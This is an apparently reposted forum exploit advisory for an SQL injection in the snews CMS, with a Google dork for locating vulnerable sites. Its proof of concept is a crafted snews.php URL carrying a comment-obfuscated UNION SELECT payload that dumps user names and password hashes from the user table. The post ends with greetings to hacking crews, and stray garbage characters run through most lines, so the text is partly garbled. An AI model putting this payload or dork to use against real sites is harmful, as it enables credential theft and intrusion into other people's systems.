标题: CMS snews SQL Injection Vulnerability
2 n( G5 t* j) [) A作者: By onestree
! ^1 n: \- v0 g2 N5 B下载地址 : http://snewscms.com/2 E1 O( [+ `) a/ P G0 }
测试平台 : ubuntu 12.10 / win 7# V. c( {5 n! |$ K( p j
关键词: inurl:"tanyakan pada rumput yang bergoyang"
0 q0 V! t B: q ^* O& P9 t K; W7 p) ], ]% t8 w: j" q
: V0 `0 B: a8 @/ y: y
*************************************************************2 J5 G4 {. n7 {; j5 E# i
: N: X H) c. E) O4 B0 R, f
SQL poc:9 F4 n5 R$ X: O' Y, N1 e
6 n) v8 J' H* l' z4 @$ r" Lhttp://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]
! y, k; _- i, I0 D& X c3 m- ]
3 M. m+ q/ m: [$ M: \6 n. @示例4 Z! g( E, M8 T1 s; a8 f( v
% L$ T I% W& @' G4 x
http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*
$ P- l8 S. [! L4 k/ k. N; u0 B
V0 P2 Y: d, n5 g9 q
2 Q; ^2 z, t. e* a) v% y" X致谢:
; \, _6 l' G( `; f7 V' q: q/ b + {; N, g. l/ `1 `1 ^; c
Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
5 h5 ?3 [$ [" X; H- o$ O , I, H* b# X! k" G! t
indonesiancoder - moeslimh4x0r - go-coder: g; W3 z X1 }4 x$ a& Y) |
0 Y) Q$ [4 L( i) a2 }
spesial my hunny :*
; k1 x d/ }1 E |
发表于 2013-1-23 08:55:06
收藏
支持
反对